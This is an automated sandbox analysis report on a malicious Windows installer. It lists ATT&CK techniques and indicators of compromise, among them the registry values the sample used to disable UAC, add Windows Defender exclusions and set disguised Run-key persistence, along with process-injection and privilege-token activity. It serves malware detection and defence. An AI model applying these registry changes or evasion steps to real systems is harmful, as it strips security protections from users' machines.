b2c371c77fd53181c7d2da94364b3d5a3ca685a64db9982924568f4d41ed798e

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/08/2026, 09:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_h8.0.04.exe
Size 25.7MB
Sample260825-lrfdeazdph
SHA256 b2c371c77fd53181c7d2da94364b3d5a3ca685a64db9982924568f4d41ed798e
MD5 15e33768cee999b13d5479ca40407138
SHA1 1df17315f44a850a3bc5061e0ee9f235e0f3fee1
SHA512 25e8a3716759b28ffdd1fbf1333fd81bc23915bbddbda5ea41f42cdaee6b0317560070607a70e058cb2905afa0b3895fdcb24e09ad5c1728d0c09d1a15777c4b
SSDEEP 98304:75BGCrC9ILrFMKQMYpTTDliJW9gNbD7kNafMHW+sdoOHp:wzvsygpkMfM2+9OHp
TLSH
T1D847A41EBA06CC97F90551368C6AC6D433B2FCB15D90870F32B6632DAFBF6449DA6184
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	jnxr6q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	KLU7W7yC.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\jnxr6q = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\NEIINj = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	jnxr6q.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1060	icacls.exe
4148	takeown.exe
4284	icacls.exe
2472	icacls.exe
1104	icacls.exe
4524	icacls.exe
1788	icacls.exe
4820	icacls.exe
3192	icacls.exe
692	icacls.exe
4316	icacls.exe
180	icacls.exe
2724	icacls.exe
212	takeown.exe
3080	icacls.exe
2244	icacls.exe
2980	icacls.exe
5088	icacls.exe
456	icacls.exe
3508	icacls.exe
1528	icacls.exe
3816	icacls.exe
1096	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	VB7qfM.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	jnxr6q.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
3960	VB7qfM.exe
3032	VB7qfM.exe
3360	jnxr6q.exe
3000	jnxr6q.exe
1316	IGGpP4r.exe
4860	jnxr6q.exe
4144	ArcvAsZv.exe
4776	KLU7W7yC.exe
2964	5Lb7W7JT.exe
3148	IGGpP4r.exe
1784	jnxr6q.exe

Loads dropped DLL 8 IoCs

pid	Process
3960	VB7qfM.exe
3032	VB7qfM.exe
3360	jnxr6q.exe
3000	jnxr6q.exe
4860	jnxr6q.exe
1316	IGGpP4r.exe
3148	IGGpP4r.exe
1784	jnxr6q.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
456	icacls.exe
3816	icacls.exe
1104	icacls.exe
4316	icacls.exe
2980	icacls.exe
180	icacls.exe
4284	icacls.exe
1528	icacls.exe
692	icacls.exe
1060	icacls.exe
4524	icacls.exe
1096	icacls.exe
4820	icacls.exe
5088	icacls.exe
4148	takeown.exe
212	takeown.exe
3192	icacls.exe
3508	icacls.exe
2244	icacls.exe
2724	icacls.exe
1788	icacls.exe
3080	icacls.exe
2472	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\NEIINj\\VB7qfM.exe\""	VB7qfM.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\jnxr6q\\jnxr6q.exe\""	jnxr6q.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
936	cmd.exe
4228	cmd.exe
4392	cmd.exe
1776	cmd.exe
1792	cmd.exe
1088	cmd.exe
2384	cmd.exe
5116	cmd.exe
2628	cmd.exe
1248	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	VB7qfM.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000300000001e0c5-829.dat	upx
behavioral1/memory/4776-830-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x000300000001e6ef-863.dat	upx
behavioral1/memory/2964-864-0x00007FF7867F0000-0x00007FF786C1F000-memory.dmp	upx
behavioral1/memory/4776-894-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/memory/2964-896-0x00007FF7867F0000-0x00007FF786C1F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\jnxr6q\thumbs.db	VB7qfM.exe
File opened for modification	C:\Program Files (x86)\jnxr6q\thumbs.db	VB7qfM.exe
File created	C:\Program Files (x86)\6Hp1527y\image.png	jnxr6q.exe
File opened for modification	C:\Program Files (x86)\6Hp1527y\image.png	jnxr6q.exe
File opened for modification	C:\Program Files (x86)\6Hp1527y\IGGpP4r.exe	jnxr6q.exe
File created	C:\Program Files (x86)\6Hp1527y\thumbs.db	jnxr6q.exe
File created	C:\Program Files (x86)\6Hp1527y\XPSPLOG.dll	jnxr6q.exe
File opened for modification	C:\Program Files (x86)\jnxr6q	VB7qfM.exe
File created	C:\Program Files (x86)\jnxr6q\XPSPLOG.dll	VB7qfM.exe
File opened for modification	C:\Program Files (x86)\6Hp1527y	jnxr6q.exe
File opened for modification	C:\Program Files (x86)\6Hp1527y\thumbs.db	jnxr6q.exe
File created	C:\Program Files (x86)\jnxr6q\jnxr6q.exe	VB7qfM.exe
File opened for modification	C:\Program Files (x86)\jnxr6q\jnxr6q.exe	VB7qfM.exe
File opened for modification	C:\Program Files (x86)\jnxr6q\XPSPLOG.dll	VB7qfM.exe
File opened for modification	C:\Program Files (x86)\jnxr6q\image.png	VB7qfM.exe
File created	C:\Program Files (x86)\6Hp1527y\IGGpP4r.exe	jnxr6q.exe
File created	C:\Program Files (x86)\jnxr6q\image.png	VB7qfM.exe
File opened for modification	C:\Program Files (x86)\6Hp1527y\XPSPLOG.dll	jnxr6q.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2620	sc.exe
2016	sc.exe
4368	sc.exe
2012	sc.exe
4900	sc.exe
3500	sc.exe
3140	sc.exe
3512	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	jnxr6q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveActive = "0"	jnxr6q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\SCRNSAVE.EXE	jnxr6q.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1232	cmd.exe
3112	cmd.exe
2316	cmd.exe
3000	cmd.exe
2124	cmd.exe
552	cmd.exe
2752	cmd.exe
924	cmd.exe
2912	cmd.exe
1160	cmd.exe
2444	cmd.exe
3140	cmd.exe
1424	cmd.exe
3084	cmd.exe
1528	cmd.exe
5040	cmd.exe
1868	cmd.exe
4712	cmd.exe
3840	cmd.exe
4964	cmd.exe
624	cmd.exe
976	cmd.exe
3576	cmd.exe
468	cmd.exe
3052	cmd.exe
1412	cmd.exe
1628	cmd.exe
1508	cmd.exe
4612	cmd.exe
5104	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jnxr6q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ArcvAsZv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IGGpP4r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jnxr6q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jnxr6q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IGGpP4r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jnxr6q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	jnxr6q.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	jnxr6q.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveActive = "0"	jnxr6q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	jnxr6q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	jnxr6q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\SCRNSAVE.EXE	jnxr6q.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	VB7qfM.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4728	schtasks.exe
3600	schtasks.exe
3408	schtasks.exe
4324	schtasks.exe
2588	schtasks.exe
4376	schtasks.exe
4072	schtasks.exe
3372	schtasks.exe
4716	schtasks.exe
2000	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
5088	install_h8.0.04.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe
3960	VB7qfM.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4148	takeown.exe
Token: SeRestorePrivilege	4284	icacls.exe
Token: SeTakeOwnershipPrivilege	212	takeown.exe
Token: SeRestorePrivilege	1528	icacls.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	4144	ArcvAsZv.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe
Token: 33	2912	powershell.exe
Token: 34	2912	powershell.exe
Token: 35	2912	powershell.exe
Token: 36	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe
Token: 33	2912	powershell.exe
Token: 34	2912	powershell.exe
Token: 35	2912	powershell.exe
Token: 36	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4776	KLU7W7yC.exe
4776	KLU7W7yC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3960 wrote to memory of 936	3960	VB7qfM.exe	95
PID 936 wrote to memory of 4376	936	cmd.exe	97
PID 936 wrote to memory of 3736	936	cmd.exe	98
PID 936 wrote to memory of 3000	936	cmd.exe	102
PID 3960 wrote to memory of 2384	3960	VB7qfM.exe	104
PID 3576 wrote to memory of 3548	3576	cmd.exe	106
PID 2384 wrote to memory of 3600	2384	cmd.exe	109
PID 2384 wrote to memory of 4148	2384	cmd.exe	110
PID 3960 wrote to memory of 5116	3960	VB7qfM.exe	112
PID 2384 wrote to memory of 4272	2384	cmd.exe	114
PID 5116 wrote to memory of 3408	5116	cmd.exe	115
PID 3960 wrote to memory of 4228	3960	VB7qfM.exe	117
PID 5116 wrote to memory of 3708	5116	cmd.exe	119
PID 4228 wrote to memory of 4072	4228	cmd.exe	122
PID 5116 wrote to memory of 4052	5116	cmd.exe	123
PID 4228 wrote to memory of 2388	4228	cmd.exe	124
PID 4228 wrote to memory of 2328	4228	cmd.exe	125
PID 3960 wrote to memory of 4392	3960	VB7qfM.exe	126
PID 1868 wrote to memory of 3836	1868	cmd.exe	128
PID 4392 wrote to memory of 3372	4392	cmd.exe	129
PID 4392 wrote to memory of 1540	4392	cmd.exe	130
PID 4392 wrote to memory of 1732	4392	cmd.exe	132
PID 468 wrote to memory of 2912	468	cmd.exe	134
PID 924 wrote to memory of 216	924	cmd.exe	135
PID 3960 wrote to memory of 3360	3960	VB7qfM.exe	136
PID 3360 wrote to memory of 3140	3360	jnxr6q.exe	140
PID 3360 wrote to memory of 3840	3360	jnxr6q.exe	142
PID 3360 wrote to memory of 4712	3360	jnxr6q.exe	146
PID 3360 wrote to memory of 976	3360	jnxr6q.exe	148
PID 3360 wrote to memory of 1528	3360	jnxr6q.exe	150
PID 3360 wrote to memory of 2628	3360	jnxr6q.exe	152
PID 3360 wrote to memory of 1232	3360	jnxr6q.exe	153
PID 3360 wrote to memory of 1424	3360	jnxr6q.exe	156
PID 3360 wrote to memory of 2912	3360	jnxr6q.exe	158
PID 3360 wrote to memory of 1776	3360	jnxr6q.exe	160
PID 3840 wrote to memory of 692	3840	cmd.exe	162
PID 2628 wrote to memory of 4728	2628	cmd.exe	163
PID 1776 wrote to memory of 2000	1776	cmd.exe	164
PID 3360 wrote to memory of 2444	3360	jnxr6q.exe	165
PID 1232 wrote to memory of 2252	1232	cmd.exe	166
PID 2252 wrote to memory of 3404	2252	net.exe	168
PID 2444 wrote to memory of 5088	2444	cmd.exe	169
PID 3360 wrote to memory of 1628	3360	jnxr6q.exe	170
PID 1628 wrote to memory of 1104	1628	cmd.exe	172
PID 3360 wrote to memory of 5104	3360	jnxr6q.exe	173
PID 5104 wrote to memory of 4820	5104	cmd.exe	175
PID 3360 wrote to memory of 2124	3360	jnxr6q.exe	176
PID 2124 wrote to memory of 4316	2124	cmd.exe	178
PID 3360 wrote to memory of 3084	3360	jnxr6q.exe	179
PID 3084 wrote to memory of 1060	3084	cmd.exe	181
PID 3360 wrote to memory of 1412	3360	jnxr6q.exe	182
PID 1412 wrote to memory of 1096	1412	cmd.exe	184
PID 3360 wrote to memory of 1160	3360	jnxr6q.exe	185
PID 1160 wrote to memory of 2980	1160	cmd.exe	235
PID 3360 wrote to memory of 3052	3360	jnxr6q.exe	188
PID 3052 wrote to memory of 3192	3052	cmd.exe	190
PID 3360 wrote to memory of 4964	3360	jnxr6q.exe	191
PID 4964 wrote to memory of 2244	4964	cmd.exe	193
PID 3360 wrote to memory of 2316	3360	jnxr6q.exe	194
PID 2316 wrote to memory of 3816	2316	cmd.exe	196
PID 3360 wrote to memory of 4612	3360	jnxr6q.exe	197
PID 4612 wrote to memory of 4524	4612	cmd.exe	199
PID 3360 wrote to memory of 3112	3360	jnxr6q.exe	200
PID 3112 wrote to memory of 3508	3112	cmd.exe	202

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	KLU7W7yC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	jnxr6q.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	jnxr6q.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	KLU7W7yC.exe

Uses Task Scheduler COM API 1 TTPs
